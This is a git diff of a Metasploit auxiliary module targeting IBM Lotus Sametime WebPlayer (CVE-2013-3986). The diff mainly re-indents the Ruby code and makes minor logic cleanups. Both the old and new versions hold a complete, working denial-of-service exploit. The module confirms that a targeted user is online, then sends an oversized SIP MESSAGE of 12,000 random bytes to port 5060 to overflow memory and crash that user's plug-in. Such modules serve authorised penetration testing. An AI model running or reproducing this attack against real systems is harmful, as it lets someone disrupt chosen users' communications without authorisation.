diff --git a/modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb b/modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb
index aed629576d..43eaaddce6 100644
--- a/modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb
+++ b/modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb
@@ -7,204 +7,204 @@ require 'msf/core'
 
 class Metasploit3 < Msf::Auxiliary
 
-    include Msf::Exploit::Remote::Tcp
-    include Msf::Auxiliary::Dos
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Auxiliary::Dos
 
-    def initialize(info = {})
-        super(update_info(info,
-            'Name'           => 'IBM Lotus Sametime WebPlayer DoS',
-            'Description'    => %q{
-                This module exploits a known flaw in the IBM Lotus Sametime WebPlayer
-                version 8.5.2.1392 (and prior) to cause a denial of service condition
-                against specific users. For this module to function the target user
-                must be actively logged into the IBM Lotus Sametime server and have
-                the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a
-                browser extension. The user should have the WebPlayer plug-in active
-                (i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly.
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'       => 'IBM Lotus Sametime WebPlayer DoS',
+      'Description'  => %q{
+        This module exploits a known flaw in the IBM Lotus Sametime WebPlayer
+        version 8.5.2.1392 (and prior) to cause a denial of service condition
+        against specific users. For this module to function the target user
+        must be actively logged into the IBM Lotus Sametime server and have
+        the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a
+        browser extension. The user should have the WebPlayer plug-in active
+        (i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly.
 
-                RHOST Target should be the Sametime Media Server address and NOT the
-                web interface SIPURI should be in the format
-                 <target_email_address>@<sametime_media_server_FQDN> (e.g.
-                 targetuser%40targetdomain.com@stmedia.targetdomain.com
-            },
-            'Author'         =>
-            	[
-            		'kicks4kittens' # Metasploit module
-            	],
-            'License'        => MSF_LICENSE,
-            'Actions'        =>
-                [
-                    ['DOS'],
-                    ['CHECK']
-                ],
-            'DefaultAction'  => 'DOS',
-            'References'     =>
-                [
-                    [ 'CVE', '2013-3986' ],
-                    [ 'OSVDB', '99552' ],
-                    [ 'BID', '63611'],
-                    [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ],
-                    [ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ]
-                    
-                ],
-            'DisclosureDate' => 'Nov 07 2013'))
+        RHOST Target should be the Sametime Media Server address and NOT the
+        web interface SIPURI should be in the format
+         <target_email_address>@<sametime_media_server_FQDN> (e.g.
+         targetuser%40targetdomain.com@stmedia.targetdomain.com
+      },
+      'Author'     =>
+        [
+          'kicks4kittens' # Metasploit module
+        ],
+      'License'    => MSF_LICENSE,
+      'Actions'    =>
+        [
+          ['DOS'],
+          ['CHECK']
+        ],
+      'DefaultAction'  => 'DOS',
+      'References'   =>
+        [
+          [ 'CVE', '2013-3986' ],
+          [ 'OSVDB', '99552' ],
+          [ 'BID', '63611'],
+          [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ],
+          [ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ]
 
-        register_options(
-            [
-                Opt::RPORT(5060),
-                OptString.new('SIPURI', [true, 'The SIP URI of the user to be targeted', \
-                                '<target_email_address>@<sametime_media_server_FQDN>']),
-                OptBool.new('CHECKUSER', [ true,  'Validate user is logged into Sametime', true]),
-                OptInt.new('TIMEOUT', [ true,  'Set specific response timeout', 0])
-            ], self.class)
+        ],
+      'DisclosureDate' => 'Nov 07 2013'))
 
+    register_options(
+      [
+        Opt::RPORT(5060),
+        OptString.new('SIPURI', [true, 'The SIP URI of the user to be targeted',
+                '<target_email_address>@<sametime_media_server_FQDN>']),
+        OptBool.new('CHECKUSER', [ true,  'Validate user is logged into Sametime', true]),
+        OptInt.new('TIMEOUT', [ true,  'Set specific response timeout', 0])
+      ], self.class)
+
+  end
+
+  def setup
+    # cleanup SIP target to ensure it's in the correct format to use
+    @sipuri = datastore['SIPURI']
+    if @sipuri[0,4].downcase == "sip:"
+      # remove sip: if present in string
+      @sipuri = @sipuri[4,@sipuri.length]
+    end
+    if @sipuri[0,12].downcase == "webavclient-"
+      # remove WebAVClient- if present in string
+      @sipuri = @sipuri[12,@sipuri.length]
     end
 
-    def setup
-        # cleanup SIP target to ensure it's in the correct format to use
-        @sipuri = datastore['SIPURI']
-        if @sipuri[0,4].downcase == "sip:"
-            # remove sip: if present in string
-            @sipuri = @sipuri[4,@sipuri.length]
-        end
-        if @sipuri[0,12].downcase == "webavclient-"
-            # remove WebAVClient- if present in string
-            @sipuri = @sipuri[12,@sipuri.length]
-        end
+  end
 
+  def checkuser
+    # used to check the user is logged into Sametime and after DoS to check success
+    length = Rex::Text.rand_text_numeric(2) # just enough to check response
+    msg = create_message(length)
+
+    print_status("Checking if targeted user #{@sipuri} is online")
+    res = send_msg(msg)
+
+    # check response for current user status - common return codes
+    if res.nil?
+      print_error("No response recevied from server")
+      return false
+    elsif res =~ /430 Flow Failed/i
+      print_good("User #{@sipuri} is no longer responding (already DoS'd?)")
+      return false
+    elsif res =~ /404 Not Found/i
+      print_error("User #{@sipuri} is currently offline or not in a Sametime video session")
+      return false
+    elsif res =~ /200 OK/i
+      print_good("User #{@sipuri} is online")
+      return true
+    else
+      print_error("Unknown server response")
+      return false
     end
 
-    def checkuser
-        # used to check the user is logged into Sametime and after DoS to check success
-        length = Rex::Text.rand_text_numeric(2) # just enough to check response
+  end
+
+  def run
+
+    # inform user of action currently selected
+    print_status("Action: #{action.name} selected")
+
+    if datastore['CHECKUSER'] or action.name == 'CHECK'
+      # check the user is online without DOS
+      response = checkuser
+    else
+      print_status("User check disabled, continuing with DoS against #{@sipuri}")
+      response = true # no check performed
+    end
+
+    unless action.name == 'CHECK' # only proceed if action not set to CHECK
+      if response
+        # checkuser explicitly disabled or user is online
+
+        print_status("Targeting user: #{@sipuri}")
+        print_status("Sending DoS packet to #{rhost}:#{rport}")
+
+        length = 12000 # enough to overflow the end of allocated memory
         msg = create_message(length)
-
-        print_status("Checking if targeted user #{@sipuri} is online")
         res = send_msg(msg)
 
-        # check response for current user status - common return codes
-        if not res or res.nil?
-            print_error("No response recevied from server")
-            return false
+        if res.nil?
+          if datastore['CHECKUSER'] # check user AFTER DoS
+            print_good("User #{@sipuri} is no longer responding")
+          else
+            print_good("No response from server. User is offline or server doesn't respond")
+          end
         elsif res =~ /430 Flow Failed/i
-            print_good("User #{@sipuri} is no longer responding (already DoS'd?)")
-            return false
+          print_good("DoS packet successful. Response received (430 Flow Failed)")
+          print_good("User #{@sipuri} is no longer responding")
         elsif res =~ /404 Not Found/i
-            print_error("User #{@sipuri} is currently offline or not in a Sametime video session")
-            return false
+          print_error("DoS packet appears successful. Response received (404 Not Found)")
+          print_status("User appears to be currently offline or not in a Sametime video session")
         elsif res =~ /200 OK/i
-            print_good("User #{@sipuri} is online")
-            return true
-        else
-            print_error("Unknown server response")
-            return false
+          print_error("DoS packet unsuccessful. Response received (200)")
+          print_status("Check user is running an effected version of IBM Lotus Sametime WebPlayer")
         end
-
+      else
+        print_error("Check failed, ensure user is online")
+      end
     end
+  end
 
-    def run
+  def create_message(length)
+    # create SIP MESSAGE of specified length
+    vprint_status("Creating SIP MESSAGE packet #{length} bytes long")
 
-        # inform user of action currently selected
-        print_status("Action: #{action.name} selected")
+    suser = Rex::Text.rand_text_alphanumeric(rand(8)+1)
+    shost = Rex::Socket.source_address(datastore['RHOST'])
+    src   = "#{shost}:#{datastore['RPORT']}"
+    cseq = Rex::Text.rand_text_numeric(3)
+    message_text = Rex::Text.rand_text_alphanumeric(length.to_i)
+    branch = Rex::Text.rand_text_alphanumeric(7)
 
-        if datastore['CHECKUSER'] or action.name == 'CHECK'
-            # check the user is online without DOS
-            response = checkuser
-        else
-            print_status("User check disabled, continuing with DoS against #{@sipuri}")
-            response = true # no check performed
-        end
+    # setup SIP message in the correct format expected by the server
+    data =  "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n"
+    data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n"
+    data << "Max-Forwards: 80\r\n"
+    data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n"
+    data << "From: sip:#{suser}@#{src};tag=70c00e8c" + "\r\n"
+    data << "Call-ID: #{rand(0x100000000)}@#{shost}" + "\r\n"
+    data << "CSeq: #{cseq} MESSAGE" + "\r\n"
+    data << "Content-Type: text/plain;charset=utf-8" + "\r\n"
+    data << "User-Agent: #{suser}\r\n"
+    data << "Content-Length: #{message_text.length}" + "\r\n\r\n"
+    data << message_text
 
-        unless action.name == 'CHECK' # only proceed if action not set to CHECK
-            if response
-                # checkuser explicitly disabled or user is online
+    return data
+  end
 
-                print_status("Targeting user: #{@sipuri}")
-                print_status("Sending DoS packet to #{rhost}:#{rport}")
-
-                length = 12000 # enough to overflow the end of allocated memory
-                msg = create_message(length)
-                res = send_msg(msg)
-
-                if not res or res.nil?
-                    if datastore['CHECKUSER'] # check user AFTER DoS
-                        print_good("User #{@sipuri} is no longer responding")
-                    else
-                        print_good("No response from server. User is offline or server doesn't respond")
-                    end
-                elsif res =~ /430 Flow Failed/i
-                    print_good("DoS packet successful. Response received (430 Flow Failed)")
-                    print_good("User #{@sipuri} is no longer responding")
-                elsif res =~ /404 Not Found/i
-                    print_error("DoS packet appears successful. Response received (404 Not Found)")
-                    print_status("User appears to be currently offline or not in a Sametime video session")
-                elsif res =~ /200 OK/i
-                    print_error("DoS packet unsuccessful. Response received (200)")
-                    print_status("Check user is running an effected version of IBM Lotus Sametime WebPlayer")
-                end
-            else
-                print_error("Check failed, ensure user is online")
-            end
-        end
+  def timing_get_once(s, length)
+    if datastore['TIMEOUT'] and datastore['TIMEOUT'] > 0
+      return s.get_once(length, datastore['TIMEOUT'])
+    else
+      return s.get_once(length)
     end
+  end
 
-    def create_message(length)
-        # create SIP MESSAGE of specified length
-        vprint_status("Creating SIP MESSAGE packet #{length} bytes long")
+  def send_msg(msg)
 
-        suser = Rex::Text.rand_text_alphanumeric(rand(8)+1)
-        shost = Rex::Socket.source_address(datastore['RHOST'])
-        src   = "#{shost}:#{datastore['RPORT']}"
-        cseq = Rex::Text.rand_text_numeric(3)
-        message_text = Rex::Text.rand_text_alphanumeric(length.to_i)
-        branch = Rex::Text.rand_text_alphanumeric(7)
-
-        # setup SIP message in the correct format expected by the server
-        data =  "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n"
-        data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n"
-        data << "Max-Forwards: 80\r\n"
-        data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n"
-        data << "From: sip:#{suser}@#{src};tag=70c00e8c" + "\r\n"
-        data << "Call-ID: #{rand(0x100000000)}@#{shost}" + "\r\n"
-        data << "CSeq: #{cseq} MESSAGE" + "\r\n"
-        data << "Content-Type: text/plain;charset=utf-8" + "\r\n"
-        data << "User-Agent: #{suser}\r\n"
-        data << "Content-Length: #{message_text.length}" + "\r\n\r\n"
-        data << message_text
-
-        return data
-    end
-
-    def timing_get_once(s, length)
-        if datastore['TIMEOUT'] and datastore['TIMEOUT'] > 0
-            return s.get_once(length, datastore['TIMEOUT'])
-        else
-            return s.get_once(length)
-        end
-    end
-
-    def send_msg(msg)
-
-        begin
-            s = connect
-            # send message and store response
-            s.put(msg + "\r\n\r\n") rescue nil
-            # read response
-            res = timing_get_once(s, 25)
-            if res == "\r\n"
-                # retry request
-                res = timing_get_once(s, 25)
-            end
-            return res
-        rescue ::Rex::ConnectionRefused
-            print_status("Unable to connect to #{rhost}:#{rport}")
-        rescue ::Errno::ECONNRESET
-            print_status("DoS packet successful. #{rhost} not responding.")
-        rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
-            print_status("Couldn't connect to #{rhost}:#{rport}")
-        ensure
-            # disconnect socket if still open
-            disconnect if s
-        end
+    begin
+      s = connect
+      # send message and store response
+      s.put(msg + "\r\n\r\n") rescue nil
+      # read response
+      res = timing_get_once(s, 25)
+      if res == "\r\n"
+        # retry request
+        res = timing_get_once(s, 25)
+      end
+      return res
+    rescue ::Rex::ConnectionRefused
+      print_status("Unable to connect to #{rhost}:#{rport}")
+    rescue ::Errno::ECONNRESET
+      print_status("DoS packet successful. #{rhost} not responding.")
+    rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+      print_status("Couldn't connect to #{rhost}:#{rport}")
+    ensure
+      # disconnect socket if still open
+      disconnect if s
     end
+  end
 end